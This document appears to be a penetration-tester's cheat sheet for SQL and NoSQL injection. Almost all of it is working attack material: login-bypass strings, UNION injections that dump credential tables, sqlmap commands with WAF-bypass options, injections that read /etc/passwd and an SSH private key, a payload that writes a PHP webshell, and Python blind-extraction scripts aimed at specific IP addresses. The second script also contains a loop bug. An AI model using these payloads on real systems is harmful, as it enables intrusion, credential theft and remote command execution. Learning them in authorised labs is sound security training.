SQL
Most modern web applications rely on a database architecture in the back-end to manage their data. These databases store and retrieve various types of information essential to the application.
MySQL
# Connect to database
mysql -u root -h 127.0.0.1 -P 3306 -p
# Show all columns
SELECT * FROM table_name
# Show specific column
SELECT column1, column2 FROM table_name
# Result based on string
SELECT * FROM logins WHERE username LIKE 'admin%'
# SQL query from CLI
mysql --host=db --user=root --password=root database -e "show tables"
# SQL query from CLI
mysql -h db -u root -proot database -e 'show tables;'
MySQL Authenication Bypass
# Basic bypass
admin' or '1'='1
# Basic bypass with comments
admin')-- -
Union injection
# Check number of columns
' order by 1-- -
cn' UNION select 1,2,3-- -
# Basic union injection
cn' UNION select 1,@@version,3,4-- -
# Union injection 4 columns
UNION select username, 2, 3, 4 from passwords-- -
SQLMap
# Run SQLmap with data parameter
sqlmap -u http://zencorp.com/book --method POST --data "date=2024-10-17" --batch
# Force SSL
sqlmap -r request --risk=3 --level=3 --batch --force-ssl
# Basic auth and WAF bypass
sqlmap -u 'http://10.10.10.10/login' --form --dbs --batch --level 4 --risk 3 --dbms=mssql --headers="Authorization: Basic c3ZjX2lpczpWaW50YWdlIQ==" --tamper=charencode --technique S
Enumeration
# Fingerprint
SELECT @@version
# Sleep command
SELECT SLEEP(5)
# Database name
cn' UNION select 1,database(),2,3-- -
# List all database
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
# List all columns
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
# Dump data
cn' UNION select 1, username, password, 4 from dev.credentials-- -
File Injection
# Read local file
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
# Write string to file
select 'file written successfully!' into outfile '/var/www/html/proof.txt'
# Write webshell
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
# Read file
SELECT CAST(FILE_READ('/home/zen/user.txt') AS VARCHAR;
CALL+REVEXEC('cat /home/zen/.ssh/id_rsa')%3B
# Boolean check, this will always be true.
test' or 1=1;-- -
Websocket
sqlmap -u ws://urlhere.dev:9091
sqlmap -u ws://urlhere.dev:9091 --data '{"id": "1234"}' --dbms mysql --batch --lev
NoSQL Auth bypass
# URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
# Using json (change contenttype to application/json)
{"user": "admin", "password": {"$ne": "admin"}}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
NoSQL mongosh
# Connect
mongosh mongodb://127.0.0.1:27017
# Show database, select and describe
show databases
use test
show collections
# Find item
db.movies.find({type: "James Bond"})
# List documents
db.movies.find({})
# Filter on first/last letter
db.accounts.find({ $and: [ { firstName: { $regex: /^R/ } }, { lastName: { $regex: /^D/ } }] });
In-Band Data Extraction
NoSQL queries we want to use will have to be formatted like param[$op]=val
or param[$ne]=val
.
# Example request
GET /?search[$ne]=/.*/ HTTP/1.1
Bind Data Extraction
# json payload
{"trackingNum":{"$ne":"x"}}
# wilcard
{"trackingNum":{"$regex":"^.*"}}
# Get value of number, try 1,2,3 etc
{"trackingNum":{"$regex":"^1.*"}}
Simple extraction script
import requests
import json
# request
def oracle(t):
r = requests.post(
"http://94.237.59.168:33111/",
headers = {"Content-Type": "application/json"},
data = json.dumps({"trackingNum": t})
)
return "bmdyy" in r.text
# Fuzz chars
trackingNum = "XYZ{"
for _ in range(32):
for c in "0123456789abcdef":
if oracle({"$regex": "^" + trackingNum + c}):
trackingNum += c
break
trackingNum += "}"
print("Tracking Number: " + trackingNum)
NoSQL injection
curl -s -X POST http://127.0.0.1:3000/api/v1/getUser -H 'Content-Type: application/json' -d '{"username": {"$regex": ".*"}}' | jq
the $regex
operator can coerce the server into returning the information of all users (whose usernames match /.*/
).
NoSQL using Server Side Javascript Injection
# Login with
" || true || ""=="
# Full line
this.username === "" || true || ""=="" && this.password === "<password>"
# Blind extraction
" || (this.username.match('^a.*')) || ""=="
**SSJI Blind script**
import requests
from urllib.parse import quote_plus
def get_data(r):
global num_req
num_req += 1
r = requests.post(
"http://94.237.59.180:41776",
headers={"Content-Type":"application/x-www-form-urlencoded"},
data="username=%s&password=x" % (quote_plus('" || (' + r + ') || ""=="'))
)
return "Logged in as" in r.text
# Get username regular
num_req = 0
username = ""
i = 0
while username[-1] != "}":
for c in range(32, 128):
if get_data('this.username.startsWith("") && this.username.charCodeAt(%d) == %d' % (i, c)):
username += chr(c)
break
i += 1
print("Username: %s" % username)
print()